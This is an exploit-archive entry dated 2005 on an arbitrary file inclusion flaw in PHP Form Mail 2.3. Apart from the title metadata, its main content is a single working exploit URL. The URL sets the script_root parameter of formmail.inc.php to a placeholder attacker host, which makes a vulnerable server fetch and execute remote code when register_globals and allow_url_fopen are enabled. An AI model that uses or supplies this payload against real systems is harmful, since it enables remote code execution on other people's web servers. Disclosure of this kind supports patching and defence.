PHP Form Mail 2.3 Arbitrary File Inclusion

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : PHP Form Mail 2.3 Arbitrary File Inclusion
# Published : 2005-03-05
# Author : Filip Groszynski
# Previous Title : PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability
# Next Title : phpBB <= 2.0.12 Session Handling Authentication Bypass (tutorial)

Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/

# www.Syue.com [2005-03-05]